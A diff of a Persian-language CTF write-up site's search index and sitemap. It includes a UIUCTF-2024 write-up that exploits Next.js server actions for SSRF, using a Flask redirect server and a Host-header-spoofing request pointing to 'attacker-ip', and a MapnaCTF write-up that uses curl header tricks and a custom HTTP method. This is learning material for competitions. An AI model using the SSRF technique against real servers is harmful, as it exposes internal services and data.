\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062e\u0648\u0646\u0645 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0648\u0628 \u0633\u0631\u0648\u0631 \u062e\u0648\u062f\u0645 \u0631\u06cc\u062f\u0627\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0631\u062f\u0645 \u0648 \u0627\u0632 \u0627\u0648\u0646 \u062c\u0627 \u0628\u0647 http://backend/flag.txt \u06a9\u0647 backend \u0628\u0647 ip \u062f\u0627\u06a9\u0631 \u0633\u0631\u0648\u06cc\u0633 backend \u0645\u067e \u0645\u06cc\u0634\u0647 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0631\u062f\u0645 \u0645\u0633\u06cc\u0631 \u0631\u0648

\u0648\u0628 \u0633\u0631\u0648\u0631 \u0641\u0644\u0633\u06a9

from flask import Flask, Response, request, redirect\napp = Flask(__name__)\n\n@app.route('/', defaults={'path': ''})\n@app.route('/<path:path>')\ndef catch(path):\n    if request.method == 'HEAD':\n        resp = Response(\"\")\n        resp.headers['Content-Type'] = 'text/x-component'\n        return resp\n    return redirect('http://backend/flag.txt')\n\napp.run(host=\"0.0.0.0\", port=4000)\n

\u0648 \u0628\u0631\u0627\u06cc \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a post

import requests\n\n\nheaders = {\n    \"Host\":\"attacker-ip:4000//\", # the flask server (note to // at the end of host is required)\n    \"Next-Action\":\"5cdaa80b9099b9973b11269421a40d52c0e11f31\", # the action id of next.js\n}\nres = requests.post(\"http://log-action.challenge.uiuc.tf/login\", headers=headers, data=\"{}\")\n\nprint(res.text)\n
FLAG

uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["UIU CTF","UIUCTF-2024","Web","SSRF","Next.js"]},{"location":"web/writeups/mapnaCTF/flag-holding/","title":"\u0686\u0627\u0644\u0634 Flag holding","text":"

\u0627\u06cc\u0646 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a \u06af\u0631\u0645\u06cc \u062f\u0631 \u0628\u062e\u0634 \u0648\u0628 \u0628\u0648\u062f \u06a9\u0647 \u062d\u0644 \u0647\u0627\u06cc \u0632\u06cc\u0627\u062f\u06cc \u062f\u0627\u0634\u062a \u060c \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u060c \u06a9\u0627\u0641\u06cc\u0647 \u0628\u062f\u0648\u0646\u06cc\u0645 \u0648\u0628 \u0686\u0637\u0648\u0631 \u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647 xd

\u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062e\u0628 \u0627\u0646\u062a\u0638\u0627\u0631 \u0645\u06cc\u0631\u0647 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u060c \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0622\u062f\u0631\u0633 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0631\u0648 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u06cc \u0628\u0647 \u0686\u06cc\u0647

\u062a\u0648\u062c\u0647: \u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u0646 \u0627\u0632 curl \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0645 \u062a\u0627 \u0627\u06af\u0647 \u062f\u0631 \u0637\u0648\u0644 \u0686\u0627\u0644\u0634 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u0633\u062a \u06a9\u0631\u062f\u0646 \u0647\u062f\u0631 \u062e\u0627\u0635\u06cc \u06cc\u0627 \u06a9\u0627\u0631\u0647 \u062e\u0627\u0635\u06cc \u0628\u0648\u062f \u0631\u0627\u062d\u062a \u062a\u0631 \u0628\u0627\u0634\u0645 \u0648\u0644\u06cc \u0627\u0644\u0632\u0627\u0645\u06cc \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 curl \u0646\u06cc\u0633\u062a

$ curl http://18.184.219.56:8080/\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Flag holding</title>\n    <style>\n        body {\n            background-color: #1a4a5e;\n        }\n        .msg {\n            text-align: center;\n            font-family: sans-serif;\n            color: white;\n            font-size: 40px;\n            line-height: 500px;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"msg\" style=\"\">\n        You are not coming from \"http://flagland.internal/\".\n    </div>\n</body>\n</html>\n
\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u062a\u0648\u06cc \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0628\u0647 \u0645\u0627 \u06af\u0641\u062a\u0647 You are not coming from \"http://flagland.internal/\" \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0686\u0627\u0644\u0634 \u0627\u0632 \u0645\u0627 \u0627\u0646\u062a\u0638\u0627\u0631 \u062f\u0627\u0631\u0647 \u06a9\u0647 \u0628\u062f\u0648\u0646\u06cc\u0645 \u0648\u0628 \u0686\u0637\u0648\u0631 \u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647 \u060c \u0627\u06af\u0647 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 HTTP HEADERS \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u0628\u0627 \u0647\u062f\u0631 Referer \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u06cc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u06cc\u0646 \u0647\u062f\u0631 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647:
The address of the previous web page from which a link to the currently requested page was followed.\n
\u067e\u0633 \u0628\u0631\u06cc\u0645 \u062a\u0633\u062a \u06a9\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0627\u06af\u0647 \u0622\u062f\u0631\u0633 http://flaglang.internal/ \u0631\u0648 \u0628\u0632\u0627\u0631\u06cc\u0645 \u062a\u0648 \u0647\u062f\u0631 Referer \u0686\u0647 \u0627\u062a\u0641\u0627\u0642\u06cc \u0645\u06cc\u0648\u0641\u062a\u0647:

$ curl http://18.184.219.56:8080/ -H \"Referer: http://flagland.internal/\"\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Flag holding</title>\n    <style>\n        body {\n            background-color: #1a4a5e;\n        }\n        .msg {\n            text-align: center;\n            font-family: sans-serif;\n            color: white;\n            font-size: 40px;\n            line-height: 500px;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"msg\" style=\"\">\n        Unspecified \"secret\".   </div>\n</body>\n</html>\n

\u062e\u0628 \u0645\u062b\u0644\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u062c\u0648\u0627\u0628 \u062f\u0627\u062f \u060c \u062d\u0627\u0644\u0627 \u0628\u0647\u0645\u0648\u0646 \u06af\u0641\u062a\u0647 Unspecified \"secret\". \u060c \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u06cc\u0647 \u06a9\u0644\u06cc\u062f\u06cc \u0628\u0647 \u0627\u0633\u0645 secret \u0631\u0648 \u06cc\u062c\u0627 \u0633\u062a \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u0648\u0627\u0628 \u0645\u06cc\u062f\u0647 \u06cc\u0627 \u0646\u0647

\u062e\u0628 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0648 \u062a\u0648\u06cc \u06a9\u0648\u06a9\u06cc \u0647\u0627 \u060c \u0647\u062f\u0631 \u0647\u0627 \u06cc\u0627 \u062a\u0648\u06cc URL \u0633\u062a \u06a9\u0646\u06cc\u0645 \u061b \u0628\u0639\u062f \u0627\u0632 \u062a\u0633\u062a \u06a9\u0631\u062f\u0645 \u06a9\u0648\u06a9\u06cc \u0648 \u0647\u062f\u0631 \u062c\u0648\u0627\u0628 \u0646\u06af\u0631\u0641\u06cc\u062a\u0645 \u0648\u0644\u06cc \u0627\u06af\u0647 \u062a\u0648\u06cc url \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u0647 query parameter \u0627\u06cc\u0646 \u0631\u0648 \u062a\u0646\u0638\u06cc\u0645 \u06a9\u0646\u06cc\u0645 \u060c \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647:

$ curl http://18.184.219.56:8080/?secret -H \"Referer: http://flagland.internal/\"\n<body>\n    <div class=\"msg\" style=\"\">\n        Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... -->\n    </div>\n</body>\n

\u0645\u062b\u0644\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u06a9\u0648\u0626\u0631\u06cc \u06a9\u0647 \u0633\u062a \u06a9\u0631\u062f\u06cc\u0645 \u062f\u0631\u0633\u062a \u0646\u06cc\u0633\u062a. \u0648\u0644\u06cc \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0627 \u0627\u0632 curl \u0628\u0631\u0627\u06cc \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u060c \u0642\u0633\u0645\u062a \u06a9\u0627\u0645\u0646\u062a \u0628\u0631\u0627\u06cc \u0645\u0627 \u062f\u06cc\u062f\u0647 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0628\u0647\u0645\u0648\u0646 \u0647\u06cc\u0646\u062a \u062f\u0627\u062f\u0647 \u0648\u0644\u06cc \u0627\u06af\u0647 \u0627\u06cc\u0646 \u0631\u0648 \u062a\u0648\u06cc \u0645\u0631\u0648\u0631\u06af\u0631 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u0646 \u062a\u0648 \u0635\u0641\u062d\u0647 \u0628\u0647\u062a\u0648\u0646 \u0646\u0634\u0648\u0646 \u0646\u0645\u06cc\u062f\u0647 \u0648 \u0628\u0627\u06cc\u062f source \u0635\u0641\u062d\u0647 \u0631\u0648 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u0646

\u0645\u0642\u062f\u0627\u0631 secret \u0627\u0633\u0645 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0647\u0633\u062a \u06a9\u0647 \u0633\u0631\u0648\u0631 \u0648 \u0645\u0631\u0648\u0631\u06af\u0631 \u0631\u0648\u0634 \u062a\u0648\u0627\u0641\u0642 \u06a9\u0631\u062f\u0646\u061f \u0628\u06cc\u0627\u06cc\u0646 http \u0631\u0648 \u062a\u0633\u062a \u06a9\u0646\u06cc\u0645:

$ curl http://18.184.219.56:8080/?secret=http -H \"Referer: http://flagland.internal/\"\n<body>\n    <div class=\"msg\" style=\"\">\n        Sorry we don't have \"GET\" here but we might have other things like \"FLAG\".\n    </div>\n</body>\n

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u0628\u062f\u0648\u0646\u06cc\u0646 \u062a\u0648\u06cc http \u06cc\u06a9\u0633\u0631\u06cc \u0645\u062a\u062f \u0647\u0627\u06cc\u06cc \u0647\u0633\u062a \u06a9\u0647 GET, POST, PUT, DELETE, ... \u0627\u0632 \u0645\u0639\u0631\u0648\u0641 \u0647\u0627\u0634 \u0647\u0633\u062a\u0646\u062f. \u0648\u0644\u06cc \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0647\u0631 \u0645\u062a\u062f\u06cc \u06a9\u0647 \u0645\u06cc\u062e\u0648\u0627\u06cc\u0645 \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645 (\u0645\u0645\u0646\u06a9\u0647 \u0633\u0631\u0648\u0631 \u06cc\u06a9 \u0645\u062a\u062f \u062e\u0627\u0635\u06cc \u0631\u0648 \u0647\u0646\u062f\u0644 \u06a9\u0646\u0647) \u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u0645\u0627 \u06af\u0641\u062a\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u0645\u062a\u062f FLAG \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u067e\u0633:

$ curl http://18.184.219.56:8080/?secret=http \\\n        -H \"Referer: http://flagland.internal/\" \\\n        -X FLAG\n<body>\n    <div class=\"msg\" style=\"\">\n        MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f} </div>\n</body>\n

\u0648 \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 \u0645\u062a\u062f FLAG \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646 \u0641\u0644\u06af \u0631\u0648 \u0628\u0647\u0645\u0648\u0646 \u0645\u06cc\u062f\u0647

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u06cc\u062f\u06cc\u0646 \u0627\u06cc\u0646 \u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0648\u0627\u0644 \u0647\u0627\u06cc \u062f\u0633\u062a \u06af\u0631\u0645\u06cc \u0648\u0628 \u0647\u0633\u062a\u0634 \u0648 \u062e\u06cc\u0644\u06cc \u0633\u062e\u062a \u0646\u0628\u0648\u062f \u0648\u0644\u06cc \u062c\u0627\u0628\u0628 \u0628\u0648\u062f \u0648 \u0634\u0627\u06cc\u062f \u0628\u0627\u0639\u062b \u0628\u0634\u0647 \u0628\u0631\u0627\u06cc \u06a9\u0633\u0627\u06cc\u06cc \u06a9\u0647 \u0648\u0628 \u0631\u0648 \u0646\u0645\u06cc\u0634\u0646\u0627\u0633\u0646 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u062f\u0627\u06a9\u06cc\u0648\u0645\u0646\u062a http \u0628\u0646\u062f\u0627\u0632\u0646

FLAG

MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["Mapna CTF","MapnaCTF-2024","Web"]},{"location":"blog/archive/2024/","title":"2024","text":""},{"location":"blog/category/ctf/","title":"CTF","text":""},{"location":"tags/","title":"\u0628\u0631\u0686\u0633\u0628 \u0647\u0627","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0631\u0686\u0633\u0628 \u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u0647\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0631\u0627\u06cc\u062a\u0627\u067e \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0639\u0646\u0648\u0627\u0646 \u062e\u0627\u0635 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u06cc\u062f:

"},{"location":"tags/#0xl4ughctf","title":"0xL4ughCTF","text":""},{"location":"tags/#0xl4ughctf-2024","title":"0xL4ughCTF-2024","text":""},{"location":"tags/#aes","title":"AES","text":""},{"location":"tags/#aes-ecb","title":"AES-ECB","text":""},{"location":"tags/#android","title":"Android","text":""},{"location":"tags/#bmp","title":"BMP","text":""},{"location":"tags/#bsidessf","title":"BSidesSF","text":""},{"location":"tags/#bsidessf-2024","title":"BSidesSF 2024","text":""},{"location":"tags/#bsidessf-2024_1","title":"BSidesSF-2024","text":""},{"location":"tags/#byuctf","title":"BYUCTF","text":""},{"location":"tags/#byuctf-2024","title":"BYUCTF-2024","text":""},{"location":"tags/#backdoorctf","title":"BackdoorCTF","text":""},{"location":"tags/#backdoorctf-2023","title":"BackdoorCTF-2023","text":""},{"location":"tags/#begineer","title":"Begineer","text":""},{"location":"tags/#bufferoverflow","title":"BufferOverflow","text":""},{"location":"tags/#c","title":"C","text":""},{"location":"tags/#csp","title":"CSP","text":""},{"location":"tags/#ctf","title":"CTF","text":""},{"location":"tags/#cakectf","title":"CakeCTF","text":""},{"location":"tags/#cakectf-2023","title":"CakeCTF-2023","text":""},{"location":"tags/#canary","title":"Canary","text":""},{"location":"tags/#complex-numbers","title":"Complex Numbers","text":""},{"location":"tags/#content-type","title":"Content-Type","text":""},{"location":"tags/#coppersmith","title":"Coppersmith","text":""},{"location":"tags/#crack","title":"Crack","text":""},{"location":"tags/#crypto","title":"Crypto","text":""},{"location":"tags/#cybercoliseum-iii","title":"Cybercoliseum \u2162","text":""},{"location":"tags/#dom-based-xss","title":"DOM-Based XSS","text":""},{"location":"tags/#decimal-number","title":"Decimal number","text":""},{"location":"tags/#downunderctf","title":"DownUnderCTF","text":""},{"location":"tags/#downunderctf-2024","title":"DownUnderCTF-2024","text":""},{"location":"tags/#ecb-mode","title":"ECB mode","text":""},{"location":"tags/#eliptic-curve","title":"Eliptic Curve","text":""},{"location":"tags/#encoding","title":"Encoding","text":""},{"location":"tags/#exploit","title":"Exploit","text":""},{"location":"tags/#extended-euclidean","title":"Extended Euclidean","text":""},{"location":"tags/#extended-gcd","title":"Extended gcd","text":""},{"location":"tags/#factorzation","title":"Factorzation","text":""},{"location":"tags/#forensics","title":"Forensics","text":""},{"location":"tags/#frida","title":"Frida","text":""},{"location":"tags/#gdb","title":"GDB","text":""},{"location":"tags/#game_hacking","title":"Game_Hacking","text":""},{"location":"tags/#ghunt","title":"Ghunt","text":""},{"location":"tags/#http","title":"HTTP","text":""},{"location":"tags/#hill-cipher","title":"Hill Cipher","text":""},{"location":"tags/#hooking","title":"Hooking","text":""},{"location":"tags/#imaginaryctf","title":"ImaginaryCTF","text":""},{"location":"tags/#imaginaryctf-2024","title":"ImaginaryCTF-2024","text":""},{"location":"tags/#jwt","title":"JWT","text":""},{"location":"tags/#joplin","title":"Joplin","text":""},{"location":"tags/#lambda","title":"Lambda","text":""},{"location":"tags/#mapna-ctf","title":"Mapna CTF","text":""},{"location":"tags/#mapnactf-2024","title":"MapnaCTF-2024","text":""},{"location":"tags/#markdown","title":"Markdown","text":""},{"location":"tags/#meet-in-the-middle-mitm","title":"Meet-in-the-Middle (MITM)","text":""},{"location":"tags/#misc","title":"Misc","text":""},{"location":"tags/#modular-binomials","title":"Modular Binomials","text":""},{"location":"tags/#nextjs","title":"Next.js","text":""},{"location":"tags/#osctf","title":"OSCTF","text":""},{"location":"tags/#osctf-2024","title":"OSCTF-2024","text":""},{"location":"tags/#osint","title":"OSINT","text":""},{"location":"tags/#osint_1","title":"Osint","text":""},{"location":"tags/#pdf","title":"PDF","text":""},{"location":"tags/#pdflatex","title":"PDFLatex","text":""},{"location":"tags/#php","title":"PHP","text":""},{"location":"tags/#png","title":"PNG","text":""},{"location":"tags/#pwn","title":"PWN","text":""},{"location":"tags/#partial-known-m","title":"Partial known m","text":""},{"location":"tags/#pingctf","title":"PingCTF","text":""},{"location":"tags/#pingctf-2023","title":"PingCTF-2023","text":""},{"location":"tags/#pwntools","title":"Pwntools","text":""},{"location":"tags/#rop","title":"ROP","text":""},{"location":"tags/#rsa","title":"RSA","text":""},{"location":"tags/#rsa-gcd","title":"RSA-GCD","text":""},{"location":"tags/#rsa-keygen","title":"RSA-keygen","text":""},{"location":"tags/#random","title":"Random","text":""},{"location":"tags/#reverse","title":"Reverse","text":""},{"location":"tags/#sdctf","title":"SDCTF","text":""},{"location":"tags/#sdctf-2024","title":"SDCTF-2024","text":""},{"location":"tags/#sgi","title":"SGI","text":""},{"location":"tags/#ssrf","title":"SSRF","text":""},{"location":"tags/#swp","title":"SWP","text":""},{"location":"tags/#sage","title":"Sage","text":""},{"location":"tags/#seed","title":"Seed","text":""},{"location":"tags/#shell","title":"Shell","text":""},{"location":"tags/#signature","title":"Signature","text":""},{"location":"tags/#snappctf","title":"SnappCTF","text":""},{"location":"tags/#snappctf-2024","title":"SnappCTF-2024","text":""},{"location":"tags/#steganography","title":"Steganography","text":""},{"location":"tags/#swagger","title":"Swagger","text":""},{"location":"tags/#tcp1p-2023","title":"TCP1P-2023","text":""},{"location":"tags/#tcp1p-ctf","title":"TCP1P-CTF","text":""},{"location":"tags/#uiu-ctf","title":"UIU CTF","text":""},{"location":"tags/#uiuctf","title":"UIUCTF","text":""},{"location":"tags/#uiuctf-2024","title":"UIUCTF-2024","text":""},{"location":"tags/#unlambda","title":"Unlambda","text":""},{"location":"tags/#uploader_bypass","title":"Uploader_Bypass","text":""},{"location":"tags/#vim","title":"VIM","text":""},{"location":"tags/#web","title":"Web","text":""},{"location":"tags/#word","title":"Word","text":""},{"location":"tags/#x-content-type-options","title":"X-Content-Type-Options","text":""},{"location":"tags/#xss","title":"XSS","text":""},{"location":"tags/#yufu","title":"Yufu","text":""},{"location":"tags/#archiveph","title":"archive.ph","text":""},{"location":"tags/#base12","title":"base12","text":""},{"location":"tags/#beginner-guide","title":"beginner guide","text":""},{"location":"tags/#elf","title":"elf","text":""},{"location":"tags/#flickr","title":"flickr","text":""},{"location":"tags/#gmail","title":"gmail","text":""},{"location":"tags/#google-map","title":"google map","text":""},{"location":"tags/#half-d","title":"half d","text":""},{"location":"tags/#half-p-and-q","title":"half p and q","text":""},{"location":"tags/#image-coordinates","title":"image coordinates","text":""},{"location":"tags/#image-location","title":"image location","text":""},{"location":"tags/#instagram","title":"instagram","text":""},{"location":"tags/#sha256","title":"sha256","text":""},{"location":"tags/#twitter-comments","title":"twitter comments","text":""},{"location":"tags/#vsctf","title":"vSCTF","text":""},{"location":"tags/#vsctf-2023","title":"vSCTF-2023","text":""},{"location":"tags/#wctf","title":"wCTF","text":""},{"location":"tags/#wctf-2024","title":"wCTF-2024","text":""},{"location":"tags/#wctf_1","title":"wctf","text":""},{"location":"tags/#wctf-2024_1","title":"wctf-2024","text":""},{"location":"tags/#_2","title":"\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632","text":""},{"location":"tags/#_3","title":"\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":""},{"location":"tags/#_4","title":"\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","text":""},{"location":"tags/#_5","title":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","text":""},{"location":"tags/#_6","title":"\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","text":""},{"location":"tags/#_7","title":"\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":""},{"location":"tags/#ctf_1","title":"\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","text":""},{"location":"tags/#_8","title":"\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":""},{"location":"tags/#_9","title":"\u0642\u0627\u0644\u0628","text":""},{"location":"tags/#_10","title":"\u0645\u0642\u062f\u0645\u0647","text":""},{"location":"tags/#_11","title":"\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","text":""},{"location":"tags/#_12","title":"\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628","text":""},{"location":"tags/#_13","title":"\u0648\u0628","text":""}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index a9e19d72..7443738d 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -2,452 +2,467 @@ https://FlagMotori.github.io/writeups/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/blockchain/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/blog/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/blog/2024/02/25/snapp-ctf-2024/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/Tools/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/source/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/0xL4ughCTF/RSA-GCD/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/BSidesSF/truthescrow1/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/BSidesSF/truthescrow2/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/BYUCTF/AreSA/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/BYUCTF/Austen-Supremacy/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/BYUCTF/Times/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/CakeCTF/simple-signature/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/Cybercoliseum%20%E2%85%A2/Watchmaker/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/SDCTF/ComplexProblem/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/SnappCTF/Blex/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/SnappCTF/Bombastic/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/SnappCTF/Cryptos/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/SnappCTF/mascot/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/TCP1PCTF/Final_Consensus/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/crypto/writeups/vSCTF/Redundancy/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/BSidesSF/doctor/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/BSidesSF/javai/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/BSidesSF/redacted/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/BSidesSF/sgai/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/BSidesSF/undelete/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/BSidesSF/ztxt/ - 2024-07-19 + 2024-07-27 + daily + + + https://FlagMotori.github.io/writeups/forensic/writeups/ImaginaryCTF/elves/ + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/SnappCTF/false-sight/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/forensic/writeups/SnappCTF/snapp-report/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/CTF-in-Iran/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/contribution/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/customization/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/template/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/writing-method/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/CTF-introduction/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/getStarted/beginners-guide/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/Tools/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/BackdoorCTF/Fruit-Basket/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/BackdoorCTF/Secret-of-Kurama/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/DUCTF/intercept/ - 2024-07-19 + 2024-07-27 daily 